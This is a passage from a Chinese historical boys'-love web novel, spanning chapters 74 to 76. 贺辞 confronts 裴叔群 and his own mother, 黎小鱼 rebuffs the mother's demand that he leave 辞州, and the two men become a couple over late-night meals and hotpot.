只是还没能见面,就收到黎小鱼遇险的消息。
贺辞当即派人去查,知道是裴叔群搞鬼的时候,并没有太多的意外。
当初凌少卿和柳玉攀的事情,在书院突然传开,虽然最后查到的是江安,但有颇多疑点。
那时候贺辞有怀疑,但没有继续深查下去,只是派了人盯着裴叔群。
两年里裴叔群都安分的很,没有一点异常,这也让暗处盯着他的人放松了警惕。
贺辞收到消息,直接带人围了裴府,把裴叔群揪出来,“贺州给了你什么好处,这么替他办事?”
两年未见,贺辞身上有一种看不见的血气,眉目冷峻,气势逼人。
裴叔群是真的被吓到,他感觉贺辞会杀了他。
此时的他才真切的意识到,贺辞不再是当年那个嘴硬心软的小侯爷了。
他杀过人,见过血,心冷硬的要命。
或许还有柔软的部分,但那部分不是他所能得到。
裴叔群喉结滚动,压住心慌,勾唇一笑。
“不为什么,好玩。这两年辞州太安逸了,无趣的很。”
他都没戏可看了。
贺辞忍着火气,声音冰冷,“你让小鱼受伤了。”
裴叔群眉头一挑,笑出声来,眼睛亮的像是发现了多有趣的事情,“小侯爷心疼的要来替他报仇?小侯爷不会还喜欢他吧?多有意思啊,二公子竟然猜的一点都不错。”
砰的一声,裴叔群的脸被贺辞一拳揍上去。
力道太大,人都没来得及感觉到痛,整个人都有些晕乎。
府上被围,裴将军带着人赶来,见到儿子在自己地盘被被揍的鼻青脸肿,只觉得受到了挑衅。
就算是侯爷之子,也不能在他家里这样放肆。
裴将军上去拉人,最后因拉不住,生出更多的火气,索性放开手脚直接与贺辞动起手。
贺辞这两年的身手完全练了出来,他以前只擅长远攻,如今近战贴身肉搏也少有人能敌。
二人打的不可开交,最后以裴将军双手被折还有贺辞左腿膝盖受伤,终止了战斗。
贺辞将手搭在手下肩膀上,借力站着。他微抬下巴,目光往下不屑的轻笑。
姓裴的出阴招,看出他的腿有旧疾,专对他的膝盖出手。
他可不想伤上加伤,要是瘸了,小鱼不喜欢可怎么办。
贺辞心有顾忌,这才停手。
裴将军半点没讨到好,两只手全部无力的垂着,疼的嘴唇发白,恶狠狠的瞪着贺辞。
不过贺辞不在意他的眼神就是,抓了裴叔群就走。
裴将军让手下的人拦着,但这些人也不是贺辞手下将士的对手,只能眼睁睁看着裴叔群被带走。
此事惊动了定安侯,他不管贺辞为什么带人围府揍人原因,也不管贺辞为何与裴将军的互殴。
只斥责贺辞不应该强硬的把人抓走。
定安侯也不知道人被关哪了,裴家来找他要人,他只能命令贺辞放人。
贺辞能听才有鬼,他充耳不闻,心里想着让自己的腿快点好起来。
被儿子的无视态度激怒,定安侯一掌拍在桌子上,“你现在翅膀硬了是吧!老子的话都敢不听了!”
贺辞这才有所反应,抬眼给他爹一个眼神,“爹不问问裴叔群为什么被我关起来吗?”
“不管什么理由,你也不能把人关起来啊!”定安侯怒道。
“爹既然不想听,那就出去吧。”
贺辞收回视线,闭眼不再看。
定安侯气的额头青筋直跳,“你既然不放人,就在这里待着也别再出去,反思己过。”
贺辞并不在意,反正他要养伤。
等伤养好的时候,他想出去没人能拦得住。
林晚秋知道贺辞受伤,做了些吃食送过来。
许久未见,再见之时,林晚秋在贺辞的身上感觉到了疏离与陌生。
她放下食盒,端出撒了葱花的孜然烤兔腿,带着笑意温声道:“娘亲手烤的,刺刺快来尝尝。”
林晚秋一边给贺辞布菜,一边轻柔的劝说着:“你爹就是急脾气你也不是不知道,听他的话,把人放了,也就不用再被关着。”
贺辞没动筷子,看着桌子上的菜,毫无食欲。
“怎么不吃?都是你最喜欢吃的。”林晚秋有些疑惑,伸手上前摸一摸贺辞的额头,确认没有发热不舒服,这才松一口气。
感受着额头温暖的温度,听着娘亲担忧的叹息,贺辞冷着的脸有一丝的裂缝。
在短暂的犹豫后,他问了这两年来一直想问的问题。
“娘,贺州给我的信丢了一封,那封信你看了吗?”
每年过年的时候,贺州都会给他一封血手印的书信。
但他在边界线巡防的那年没有。
后面他不在辞州,信件都被另外收好,没人动过。
贺辞看了,后面的年节时也有血手印。
唯独那年没有。
不可能是贺州没写,只能是当年的信在送来府上之前就丢了,或者是他娘看了那封信。
但怕他发现她知道了贺州对他的所作所为,所以直接销毁当作不知道。
突如其来的疑问,让林晚秋怔愣。
即便后来调整了表情情绪,强行镇定的问什么信,贺辞也知道,都是掩饰。
他娘知道。
贺辞觉得好没意思。
他道:“娘,这一桌菜,没一道是我爱吃的。我抓裴叔群关起来,也是因为他和贺州联手在挑衅我,因此伤害了别人。关他,就是为了让他别再捣乱。想放人也可以,写信告诉贺州,让他别再耍这些恶心手段。”
遮羞布被猛然扯开,林晚秋一时间有种无地自容的感觉,更深处的情绪带着些许的怨恨。
怨贺辞为什么不能将过去的事情就此放下,恨他给她出难题,她根本没办法完成。
敌人的地盘上小心翼翼的生活了两年,假冒各种人,察言观色的活着。
贺辞能够敏锐的捕捉到林晚秋的真实情绪,他起身开门,“走吧。”
林晚秋逃一样的离开,仿佛扣在脖颈间勒住她的手松开了许多,让她得以喘息。
出去后,呼吸顺畅的林晚秋,回头看了一眼贺辞紧闭的房门。手心手背都是肉,兄弟两斗起来她这个当娘的心里最难受。
抹了眼角的泪水,她对身边的秦嬷嬷道:“收拾一下,出去见个人。”
厨师学院里,黎小鱼课上好好的,外面有人找来说贺侯夫人要见他。
黎小鱼虽然奇怪为什么对方会来找他,但还是洗干净手,解开围裙,让学生们自己先做着菜。
厨师学院的亭子里,黎小鱼坐在林晚秋对面,九妹端来茶水,给二人倒茶。
她是周多的妹妹,之前因为周三赖犯事,一家子都受牵连。她和母亲二人没受太多的罪,只在矿上做饭洗衣,每月也能拿点银子。
过了一年多后,黎九章将二人从矿上接了出来,被黎小鱼安排到厨师学院里面做活。
吃住也都在学院里,母女二人干些杂活,时不时的去周多墓前看一看,日子过的平淡但舒心。
九妹倒茶后就自觉的离开,不过她觉得气氛不对劲,没有离的太远。想着要是那官夫人对郎君动手,她就算挡不住也能叫人。
“夫人找我,所为何事?”
黎小鱼开口问道。
林晚秋没有喝那茶水,只是温和的看向黎小鱼,一片慈母心肠,眼眸含泪。
“小郎君,这事我难开口。可我就这么两个孩子,只能来找小郎君,希望小郎君能离开辞州,让我的孩子们可以和睦相处。”
黎小鱼听的一脸懵,“夫人说的什么?我怎么听不懂?”
这话让林晚秋也愣住了,“小郎君不知道刺刺为了你揍人的事?”
“啊?”
黎小鱼想到马夫和他说的贺辞带兵围了裴家的府邸。
更具体的事情,马夫并没有说。
“小郎君不知道也没什么。”
林晚秋擦一擦眼泪,柔声道:“我给小郎君说一说。”
黎小鱼听完经过林晚秋篡改、添油加醋后的前因后果,奇怪的看了她一眼。
“夫人的意思是,我的存在会让他们兄弟二人自相残杀?”
林晚秋颔首,“州州会通过对付你,而挑衅刺刺。而刺刺脾气不好,如今越发的冷硬不近人情,要是被逼狠了,他会对州州做出什么,我都不敢想。”
黎小鱼都不知道说什么好了,他满肚子的话,硬是挑不出一个话头来。
看在这人是贺辞娘亲的份上,黎小鱼没骂人。
“夫人,这事说到底和我有什么关系?反而我才是受到了你二儿子的死亡威胁吧?你张口让我离开辞州,我走了你的二儿子就会放下一切,兄友弟恭?”
听林晚秋的话,不知道的还以为他兄弟二人自相残杀,是为了得到他呢。
林晚秋被拒绝有些愠怒,“小郎君,且不论州州的行为。就说你的存在,确实是影响到了刺刺。他是贺家长子,要承袭爵位,你在这里待着,他如何能真的忘了你?”
黎小鱼好好的上着课,突然被人拎出来背锅,也很不爽。
他没了好脸色,声音冷了下来。
“贺侯夫人,我离不离开辞州,不是你说了算。如果我要走,我的工坊,铺子,学院全部都会搬走。夫人管理着整个贺家,应该会算账吧。我将这些带走,辞州当真会毫发无伤吗?”
说着黎小鱼又轻轻的笑了一声,“到时候我还会昭告所有人,是贺侯夫人逼我走的。”
“你小小年纪,怎如此无赖!”
林晚秋气的脸色通红,又捂着心口轻咳两声。
真要是这样说出去,那些因此受益的辞州百姓们能恨死她。
秦嬷嬷伸手给林晚秋摸背抚气,在林晚秋平顺气息之后,也觉得刚才被气急有些激进了。
辞州确实需要黎小鱼的生意,他这两年生意铺的太大,光一个罐头工坊就不容小觑。有邵家的船竭力运输,罐头的生意直接在大俞全面铺开。
出货量是惊人的大。
林晚秋深呼吸后,早没了温和神色。
“我早就发现刺刺喜欢你,而你似乎对刺刺也不是毫无感情。”
如果真的没有感情,也不会在彻底不相见的两年里,彼此都拼了命的往上爬。
在林晚秋看来,他们都在为了以后积攒力量。
黎小鱼没有出声,没反对也没承认。
林晚秋抓着这一点,话像细针的扎向黎小鱼。
“你在这里,刺刺就不可能忘了你。如果你有一点点的喜欢他,就请放过他。刺刺未来要承袭爵位,娶妻生子,你们不可能会有结果。”
黎小鱼被扎的难受,他不高兴也不想让林晚秋高兴,摸着左手的链子眼皮一掀,面无表情道:“夫人,贺州是你们的儿子,贺辞就不是吗?夫人是真的对贺州的所作所为毫不知情吗?心偏成这样,不怕反噬吗?”
见林晚秋脸色凝滞,黎小鱼就知道对方是知道的。
不然也不会上来就和他说什么自相残杀,企图把贺州犯下的错扣他头上。
林晚秋攥紧帕子,面色不虞,“我偏心?哪里偏心?刺刺在我们身边,金尊玉贵的养着,州州却很小就离开。没有亲人相伴,在虎狼窝里讨生活。我多为州州担心,又有什么不对?这是偏心吗?”
说到最后,林晚秋几乎是是喊了出来,“知情不知情又能怎么办?我还能杀了谁不成?小郎君以后要是有孩子,就知道当父母的为难。”
黎小鱼只觉得林晚秋在找借口,不是为了贺州找借口,而是为她自己。
她拒绝承认两个孩子,她一个也没养好。反而还让两个孩子反目成仇,互相针对。
尤其是不愿意相信自己看走了眼,最疼爱的小儿子竟然与表现出来的样子不一样。
她不愿也不会承认自己的错误。
黎小鱼不想废话,“人的心偏了,就回不来。而且偏心的人,永远都说自己没偏心。不过我也能理解,人有喜恶,总会有偏爱。比如夫人偏爱贺州,我偏爱贺辞。”
“我不会走,夫人来找我,完全是找错了人。不如去找二公子说说,那样乖巧懂事的二公子,说不定会听夫人的话。”
林晚秋被请了出去,她坐在马车里,气的对秦嬷嬷道:“刺刺怎么会喜欢这样的人!”
秦嬷嬷只能顺着安抚,也说不了其他。
因为白天林晚秋找来说的一堆有的没的,黎小鱼越发的想要去看看贺辞。
夜已深,黎小鱼拎着个食盒,出现在了侯府的墙角。
马夫一路带人过来,卡着点趁巡视的人换班,帮他翻墙去见贺辞。
黎小鱼以为自己已经很小心,不过他的动静还是没有瞒过贺辞。
被细微的动静吸引注意,贺辞发现藏在暗处的暗卫没有动手的意思,说明来人他们不能轻易动手。
排除了许多不符合的人后,只剩下一人。
贺辞无神的眼睛逐渐生出光彩,心跳的越来越快,像是藏了只兔子,拼命的想挣脱跳出来。
他收敛周身杀气,卸下心防再次闭上眼睛,装作不知,静静的等着。
顺便用指尖勾出一条绳子,露出下面缀着的红色宝石小鱼。
黎小鱼悄悄推门,又轻轻关门。动作明明很轻,可周围实在太安静,吱呀声显得很大。
这让黎小鱼心都提了起来,就怕被发现了。
好不容易关好门,他抱着食盒手里举着一根火折子,靠着微弱的火光,蹑手蹑脚的进了内室。
看到贺辞的时候,黎小鱼鼻头一酸。
贺辞的眉眼没有多大的变化,除了看起来更成熟一些外,还是黎小鱼熟悉的样子。
许久未见,记忆中的人出现在眼前,黎小鱼控制不住情绪,坐在床边举着火折掉眼泪。
装睡的人听着轻微的吸气声,喉结滚动,睁开了眼睛,声线低沉。
“小鱼,别哭。”
第75章 第 75 章
贺辞抬手, 给黎小鱼擦去眼泪。粗糙的指腹刮的黎小鱼脸疼,他没有动没有躲,只盯着贺辞看, 眼泪像断线珍珠一滴一滴的往下落。
贺辞坐起身, 捧着黎小鱼的脸, “我让你伤心了?”
黎小鱼摇头, 努力平复情绪。
期间他打开食盒, 边哭边给贺辞端好吃的。
全是之前给贺辞做饭时,观察到的他爱吃的吃食。
贺辞低头看着, 嘴角带笑, 眼眶湿润。
黎小鱼的食盒有三层,装了好多好吃的, 贺辞全给干完了。
看着空空的食盒, 黎小鱼心里想着贺辞饭量变大了。
而贺辞则趁着黎小鱼不注意, 眉头紧锁悄悄的摸一下胃,嘶, 吃撑了。
两人没有说许多的话, 只是待在彼此身边, 感受着对方的存在。
在黎小鱼要走的时候,贺辞声音有些急的问道:“你明天还会来吗?”
“来,给你带黄金鸡吃。”
得到黎小鱼的肯定回答,贺辞笑着点头, “那我等你。”
黎小鱼被贺辞的笑闪了一下,拎着食盒跑了。
第二天晚上, 黎小鱼再次翻墙头。
跨上去的时候发现贺辞站在下面, 对着他张开手臂,“跳下来, 我接着你。”
黎小鱼像是受到了蛊惑,头脑一热直接往下跳。
半途开始后悔,怕把人给扑倒。
结果贺辞只往后退了一步,稳稳的接住了他。
府里巡逻的人被贺辞支开,他带着黎小鱼进屋里,里面不是昨天那样黑漆漆,点上了灯亮堂的很。
“你的腿怎么回事?”黎小鱼把食盒放桌上,他注意到贺辞走路的时候有点不对劲。
贺辞帮着打开食盒,“没什么,很快就会好。”
见贺辞不是很想说,黎小鱼没有再问。
昨天因为情绪起伏太大,什么话都不好说,今天才开始说正经事。
把菜摆上后,黎小鱼道:“裴叔群和你弟弟,你要怎么处理?”
“裴叔群先关着,贺州距离太远,要弄回来揍。”
贺辞说的漫不经心,黎小鱼有些诧异,“他还能回来?”
贺辞夹菜的手一顿,看向黎小鱼,“嗯,能。”
黎小鱼心里想着人要怎么回来,感觉皇帝不可能会放人。尤其是贺辞这次好像立功挺大,贺家的威望更高,只会把贺州看的更紧,没有放回来的道理。
正想着,他就听到贺辞问道:“小鱼,我娘是不是去找过你?她说了什么不好听的话了?”
说到这个黎小鱼就生气,也不想贺州了,劈哩叭啦的就把林晚秋和他说的那些,全倒给了贺辞。
他气道:“和我有什么关系?突然过来找我,把错扣我头上。真搞不明白你娘想什么。”
贺辞放下筷子,给黎小鱼道歉,“是我没看住人,以后不会让贺家人去打扰你。”
黎小鱼摆摆手,“没事,我好像也把你娘弄生气了。”
他以为贺辞多少会怪他惹他娘不高兴,结果贺辞没有,只笑着和他说:“你出气了就行。”
给黎小鱼整的有点不太好意思,抠着手点点头。
黎小鱼连着翻了几天侯府的围墙,每天都给贺辞带一堆好吃的。
他们没有提及感情,会闲聊这两年里发生在彼此身上的事情。
黎小鱼说的比较多,几乎都是生意上的。还说了第一批来厨师学院学习的将士,他们现在的生活如何。
大家过的都很好,靠着手艺慢慢的经营着自己的小家。
有些共同在厨师学院学习,离的近的,还会彼此帮助。
在他们看来都是出自同一个师门,大家是师兄弟,该帮着彼此。
贺辞听着黎小鱼说话,周身的戾气被安抚,带着笑意静静的听着。
他的经历都不太好,尔虞我诈,生死逃亡又或是受刑。
这些都不好讲给黎小鱼听,不想黎小鱼为此伤神。
倒是会挑一些外族特有的习俗风景,还有特色吃食说给黎小鱼。
看着黎小鱼听的津津有味,贺辞心里也高兴。
贺辞腿伤好了之后,他依旧没有放人,而定安侯也确实没办法再关住他。
离开侯府,贺辞住在他自己在外买的院子。
定安侯没能再压住人,脸上没面子,心里也不高兴。
气的对着贺辞的背影大吼:“走了就别回来!”
贺辞脚步微顿,没有再犹豫,直接离开侯府。
气的定安侯在侯府骂了好久,直嚷嚷小兔崽子翅膀硬了。
林晚秋眉头皱着,她想拦一拦,最终还是放弃。
她知道,贺辞发现了她销毁了一封信,知道她清楚贺州写了什么。
但她选择了视而不见,所以贺辞也选择了离开。
挫败感涌上心头,林晚秋深深的叹息一声,让秦嬷嬷扶她回院子里。
不管怎样,有爵位在,总是会回来的。
一家人哪有隔夜仇,过段时间就好了。
林晚秋这样想着安慰自己,可心底没来由的慌,空落落的没底。
……
黎小鱼听了黎九章的话,准备停下来歇歇,发展扩张的事过些日子再说。
不能跑的太快,不然毁的也快。
他停了下来,黎九州和周珍娘开始忙活上了。
早就想给黎小鱼相看,最开始以为孩子有心上人就没提,后来发现心上人可能不在辞州,又想着把相看的事情提上来。
媒婆都约好上门见面了,结果那天三郎来了辞州,后面小鱼又越来越忙,这事就又耽搁下来。
眼看着孩子就要二十,放在乡下,这年纪孩子都能抱着罐子去打酱油,结果小鱼连婚都还没成。
这事拖不了,趁着孩子有空,赶紧安排上。
不然后面又整天的抓不到人,回来累的倒头就睡,他们都不好拉着人再去相看。
黎小鱼不知道自己被他爹娘安排上了,现在清闲许多,在厨师学院里琢磨着给甜品铺子上些新品。
自从贺辞伤好之后,他偶尔会去厨师学院找黎小鱼。
碰上凌少卿在的时候,也会一起吃个饭。
他们见面的次数不算多,军营那边事务挺多,贺辞也很忙。
两人就这么不咸不淡的相处着,没有人再戳开那层窗户纸。
贺辞是不敢,他怕太早说了连像现在这样的见面都不可以。
不能相见的日子,他不想再经历。
黎小鱼是不知道怎么说,毕竟当初是他坚定的拒绝。更重要的是,他比较满足于现状,觉得现在这样似乎也挺好。
能见见面,吃吃饭,聊聊天。
也行了。
直到一天中午,黎小鱼被小猫儿从厨师学院叫回家,说爹娘找他有事。
小猫儿因为要落籍,黎九州夫妻二人收养了小猫儿,他就是家里的小儿子。
名字按着小猫儿的意思,并没有改,只在他的姓名前加了个黎,叫黎唐猫。
小猫儿出生就是爷爷带大,没有见过爹娘。
落籍后他都不用在晚上偷偷喊黎九州夫妻二人爹娘,能光明正大的喊,高兴的好几天没睡着觉。
他喊的甜,黎九州夫妻二人也高兴。老来得子,宠爱着呢。
这会家里的猫宝贝被使唤来喊人,黎小鱼就觉得不太对劲。
问小猫儿,他也不懂。就说家里来人,爹娘喊他回去招待。
黎小鱼带着一肚子疑惑回到家,进门就看到一个陌生的汉子,对着他憨笑。
“这就黎小郎君吧,长得真是俊俏。”
黎小鱼礼貌点头,他娘一脸笑意的走过来,“这是隔壁张婶婶家的外甥,带着妹子来走亲戚。你张婶婶家里锅坏了,烧不了菜,就来咱们家拼一顿,快进去见见你张婶和张叔。”
黎小鱼觉得锅坏了不好做饭,带着亲戚来邻居家拼桌吃饭的理由,很奇怪。
不过也没有多怀疑,因为这事发生过。
他爹娘性子好,邻里找他们帮忙,只要不是特别过分的事情,都会点头答应。
进屋之后,黎小鱼就看到张婶笑眯眯的盯着他,“小郎君回来啦,今日打扰了,勿要见怪啊。”
黎小鱼摇头笑道:“张婶婶哪里话,我去厨房帮忙,给你们做几道拿手菜。”
张婶脸上笑意更甚,还戳了戳边上的一个姑娘,示意她抬头看。
黎小鱼被张婶的动作吸引,刚看过去,就听张婶介绍道:“这是我外甥女,叫夏莲。”
“夏姑娘好。”黎小鱼礼貌问好。
小姑娘本来是低着头,听到声音后悄悄抬头,不好意思的拽着衣角,声音也小小的,“郎君好。”
黎小鱼颔首,对着屋里的人告罪一声就去厨房做菜。张婶婶笑的合不拢嘴,对着夏莲小声的问,“你觉得咋样?”
“我……我没看清楚……”
一直到吃饭结束,夏莲也没能鼓起勇气看黎小鱼一眼。
给张婶急的不行,这丫头胆子比蚂蚁还小。
不过还好,她把人留下在家里住一段时间,总能叫夏莲把人给看清楚。
周珍娘也有意撮合,动不动就叫黎小鱼送东西去张家,又或是去张家拿什么东西。
这样跑了三天,黎小鱼终于明白他娘的意思了。
他揉着眉心,头疼。
爹娘养他一场,他应该听话才是。
但现在,他明显对贺辞有意,这样的情况下娶妻生子,实在没品。
黎小鱼寻思着找个时间,得和他爹娘说清楚才行。
夜深人静,黎小鱼躺床上想着怎么和他爹娘说,才能让两个古代人可以接受他们的儿子喜欢一个男人这个事实。
正想的出神,就听到外面敲门声,“小鱼啊,玉攀找你。”
周珍娘的声音在外响起,黎小鱼下床开门,奇怪柳玉攀这大晚上的来找他干什么。
见到柳玉攀,黎小鱼问道:“少卿出事了?”
柳玉攀神情疲惫,丧嗒嗒的,“不是,是小侯爷。”
“他怎么了?”黎小鱼担忧道。
柳玉攀像是被掏空力气,叹一口气带人走,“你跟我走就知道了。”
珍馔楼雅间,黎小鱼很久没有来了。
站在门口,柳玉攀单手叉着腰准备推门,在开门前提醒了一句,“黎小鱼,小侯爷他不太对劲,你要是不想进去现在也可以走。进去的话,你可能没有别的选择了。”
黎小鱼听出柳玉攀话里有话,是在提醒他,甚至可以说在阻止他进去。
大概能猜到柳玉攀应该是看出了什么来,他没多大的情绪变化,点头笑道:“嗯,我知道,开门吧。”
门被打开,黎小鱼进去后,转身要关门,“回去吧,太晚了别让少卿担心。”
柳玉攀看一眼屋里,这一眼正好能扫到桌子前坐着的贺辞。
他很快就收回视线,低头看黎小鱼,“我在外面待一会。”
黎小鱼没再说什么,轻轻的关上门。
贺辞喝醉了。
黎小鱼刚靠近,就被贺辞拉住了手。宽大的手掌,带着薄茧有些硬。
酒气萦绕,还有些许桂花香。
不知是哪年酿的桂花酒。
“你来了?”贺辞抓着黎小鱼的手,把脸贴在他的腹部。
看着桌上地上数不清的酒罐,黎小鱼皱眉道:“怎么喝这么多?”
“你要成亲了吗?”
贺辞问的小心翼翼,手下意识的握紧,声线都在颤抖。
他想要得到答案,又害怕听到肯定。
像是为了给自己加码,在黎小鱼开口前,他仰着头目光虔诚,“成亲是为了生孩子吗?你不要我,是我不能生孩子吗?小鱼,我给你生孩子,你能要我吗?”
黎小鱼想笑,却又觉得心酸。
因为贺辞的眼神,充满渴求。
一直以来,黎小鱼都奇怪贺辞为什么会喜欢上他。后来了解到他爹娘还有他弟弟,黎小鱼又不奇怪了。
他太想要关注和爱,以至于只要给一点点,就会想拼命抓住。
黎小鱼低头看着贺辞的脸,“你是男人,生不了孩子。”
贺辞面露痛苦之色,“我为什么不能生孩子?我可以给你生啊,你要我的话,我一定能。”
“醉话。”黎小鱼低语一声,想要抽手摸一下贺辞的脸。
结果他的动作让贺辞以为要抽身离去,贺辞脸色一变,有些狠也带着惊慌。
他把人抱在怀中,双臂紧紧环抱住黎小鱼的腰,黎小鱼只觉得自己的腰要被勒断了。
“你别走,我这次不会让你走的。你走了就要去成亲,你不相信我,你想让你爹娘开心,我怎么办?”
贺辞说的语无伦次,他把人往下拽,黎小鱼被他按在腿上坐着,后背抵在桌沿。
贺辞用手挡了一下,凶巴巴的盯着黎小鱼看。周身戾气按压不住,像是被逼急了要扑杀猎物的凶兽。
他看着黎小鱼,低头想要亲吻,触碰之际不知想到什么又停了下来。
他所有叫嚣着的阴暗面,疯狂的欲望,都被一条无形的绳索给拴住。
绳索的那端,在黎小鱼的手上牵着。
他不敢触碰,不敢妄为。
怕黎小鱼彻底不理他,厌恶他。贺辞颓然低头,额头抵在黎小鱼的额上。
“黎小鱼,你不要我的话,就杀了我吧。”
黎小鱼的唇上,有微热咸湿的触感。
是贺辞的眼泪。
“贺辞。”
黎小鱼温柔的叫了一声,他用鼻尖轻轻碰了一下贺辞的鼻尖,贺辞身体僵硬不敢动弹。
“我没谈过恋爱,脾气其实也不是很好。对人没有信任,和我在一起会比较累。这样的话,你还愿意和我在一起吗?”
贺辞愣愣的,他像是丧失了语言功能,不敢动也不敢出声,怕有任何的风吹草动这个梦就醒了。
“你不说,我就当你默认了。”
黎小鱼轻声说着,微微一动,亲了亲贺辞的嘴角。
亲完又有些不好意思,脸红了一片。
“你喝醉了,清醒后不会怪我趁人之危吧?”
贺辞终于回神,喉间溢出笑声,不等黎小鱼反应,低头压上,完全夺取黎小鱼呼吸的空气,狠的像是在啃咬。
给黎小鱼吓的不轻,眼泪哗哗的流,直到他有些喘不上气,贺辞才松开些,帮人擦眼泪。
“怎么哭的这样厉害?”
黎小鱼捂着嘴,“你属狗吗?”
贺辞轻啄一下黎小鱼捂着嘴的手背,低声道:“小鱼,我属于你。”
黎小鱼脸更红了,他从哪学来的?
走神的这会功夫,脖子上突然多个东西。黎小鱼低头一看,是一条红色小鱼,线条优美像是在无忧无虑的游着。
“早就想送你的,终于能看到它在你身上挂着。”
黎小鱼摸着红宝石小鱼,“是那晚在山上雕的那块?”
“嗯。”
黎小鱼把它放进衣服里面,贴着皮肤。
“我会收好的。”
他见贺辞盯着他笑,眼睛一眯,“没醉?”
贺辞背脊一僵,“前面有些醉,你亲我的时候醒了。”
他梦里可做不了黎小鱼主动亲他的好梦,都是他强迫黎小鱼。
黎小鱼又道:“知道我家里给我相看,又派人盯着我了?”
贺辞老实回答,“那是因为我怕贺州再对你动手,没想到会发现你在和人相看准备成亲。”
算是接受了贺辞的解释,黎小鱼点点头,随后又调侃道:“给我生孩子?”
贺辞眉头一挑,搂着黎小鱼的腰,“虽说是醉话,不过要是能生,一定给你生。”
黎小鱼有些不太自在的脸红,“以后不准骗我试探我。”
“好。”贺辞肯定应下。
出去的时候,柳玉攀还在,他倚着墙壁睡着了。
黎小鱼把人叫醒,柳玉攀睁眼一看就见贺辞脸上藏不住的笑,就知道这黑心玩意成了。
贺辞送了黎小鱼回家,他拉着黎小鱼的手不想走。
“小鱼,我什么时候可以见见你的爹娘?”
黎小鱼微愣,“我们不是刚在一起吗?”
“我就是想要个名分,可以吗?”贺辞可怜兮兮的看着黎小鱼,期待着他点头说好。
黎小鱼吃一堑长一智,“我发现你从外族部落那边回来后,心眼变多了。”
知道他吃软不吃硬,变着法的对付他。
贺辞抬手摸了摸黎小鱼的头,“我就是想能光明正大的和你走在一起。”
黎小鱼轻咳一声,“头发要被你弄乱了,我爹娘那边过阵子我会说的。”
贺辞高兴的抱着黎小鱼,又亲亲他的耳垂,“好,要记得叫我。”
回家后,黎小鱼莫名有种做坏事的感觉。
周珍娘听到动静出来问了一句,“玉攀那孩子找你干嘛?”
黎小鱼心里一激灵,含糊道:“没什么,有人喝多了。娘我困了,我要去睡觉。”
周珍娘也没多问,“哦行,快去睡吧。对了,明天早上我做馒头,你到时候捡几个送去张婶家里。”
黎小鱼胡乱应着。
翌日一早,黎小鱼洗漱完就被他娘打发去送馒头。
他敲了一下门,放下装着馒头的小食盒就跑了。
张婶出来一看,地上只有馒头外面没有人。
中午,贺辞去了厨师学院找黎小鱼。
他趁厨房没人的时候,从背后抱着人,低头要亲黎小鱼微红的耳朵。
“啊!”
凌少卿尖叫一声,觉得自己在梦里,只是这梦的画面实在是太冲击了。
小侯爷和他师父,他们怎么这样亲密!
黎小鱼听到声音,推开贺辞。
凌少卿的视线在二人身上来回的转,最后他大步向前,挡在黎小鱼面前。
声音不难听出他动怒了。
“小侯爷,我师父不是权贵的玩物。你这样做,实在不该。”
他正要放狠话,说会不惜一切护着黎小鱼,就见贺辞点头,“嗯,我知道。我喜欢了他很久,好不容易才等到他点头。所以你能让开,让我抱抱他吗?”
凌少卿张着嘴不知道要说什么,被贺辞往边上推了推。
“小侯爷你开玩笑的吧?”
什么叫喜欢很久?多久啊?他们不是差不多一个时候认识他师父的吗?他咋没看出来过?
凌少卿挠头,觉得自己可能失忆了。
“没有,柳玉攀都能看出来就你看不出来。”贺辞对凌少卿的观察力也是没话说。
他之前也没有掩饰过对黎小鱼的特殊。
凌少卿又是一愣,好嘛,表弟竟然有事瞒着他!
也顾不得其他,凌少卿气咻咻的走了,要去找柳玉攀。
黎小鱼看着凌少卿跑远的背影,也有些无奈。
他还一句话没来得及说呢。
第76章 第 76 章
黎小鱼今天准备做火锅吃, 他之前打了铜炉火锅,家里和厨师学院各一个。冬天冷的不能出门,会一家人窝在家里吃火锅。
现在辞州的天还冷着, 吃火锅也正好。
贺辞没有吃过这个, 帮着黎小鱼洗菜切菜。
他的动作很熟练, 黎小鱼瞥见后随口问道:“在外面练出来的?”
“嗯, 很多时候要自己煮东西吃。”
火锅底料有之前做好的, 天冷正好冻住,没有坏。
菜品处理好之后, 贺辞全都端去桌子上。
黎小鱼也烧好了锅底只等着下菜。
辞州的羊肉很好吃, 没有腥膻的气息,肉质鲜嫩。
黎小鱼弄了许多的牛羊肉卷, 还有五花肉卷, 都是肥瘦相间, 薄薄一片。
他给贺辞调了酱料,“试试好不好吃。”
贺辞跟着黎小鱼的动作, 夹肉片进铜锅里面涮。没一会肉片就熟了, 蘸上调料味蕾一下子就被打开。
“好吃!”
两人饭量都不小, 一桌子的肉和菜,全都给吃完了。
黎小鱼发现贺辞爱吃调料,他吃完火锅之后,调料碗里面还有很多几乎没有动过。
贺辞的调料碗已经空空, 中途他还给贺辞重新调了一份。
想着下次一次性给贺辞多调几个不同的口味,让他可以换着吃。
吃完后贺辞不想走, 拉着黎小鱼讲话。
“这个火锅, 你要开铺子去卖吗?”
很早之前黎小鱼就想开火锅铺子了,不过因为限铜的原因, 这个计划一直被搁置。
“倒是想,但这些锅要铜做,不太方便。”
贺辞摸摸黎小鱼的头,“我给你批铜用量,想开就开。这个很好吃,开业之后我还可以带着同僚和手下的将士来吃。”
黎小鱼没有先点头,而是仰头问他,“军营里的事,应该都会过侯爷的眼。你这样给我特殊对待,他会察觉吧。”
贺辞点头,“嗯,不过我不怕他知道,也不会让贺家人找你。放心一切有我,不要害怕。”
就算他家里人没有先发现,他也准备和家里说清楚。
黎小鱼倒不是害怕,他辛苦两年,积攒到现在也不是好拿捏的软柿子。
他就是不想贺辞再被罚了。
“侯爷要是罚你怎么办?你之前被罚去军营,人都瘦了很多。”
黎小鱼语气担忧,真的不想再看贺辞变成那副不人不鬼的样子,叫人心疼。
“小鱼,我费力的用那么多心思让你点头和我在一起,不是想你一直为我担忧烦心。”
贺辞捧着黎小鱼的脸,眼中带着笑意,“我说过,我属于你。今后除了你以外,谁都碰不了我伤到我。”
黎小鱼有些脸红,他小声道:“我不会揍你的。”
他不家暴,他讲道理。
贺辞俯身抱着黎小鱼,下巴搁在他肩头感叹,“你就这样宠着我惯着我吧,我迟早离不开了。”
说完又摇头,“不对,我早就离不开你了。”
黎小鱼被他逗笑,“嗯,感觉到了,粘人的很。”
贺辞无意识的把人抱紧,心中有些不安,“你会因此厌烦我吗?”
感受到贺辞的情绪,黎小鱼往后仰,捧着贺辞的脸,抬头亲亲他的下巴,安抚道:“会喜欢你。”
贺辞愣神片刻,似乎没想到会得到这样的回答。他抵着黎小鱼的额头,呼吸都灼热许多,“我想亲你,可以吗小鱼?”
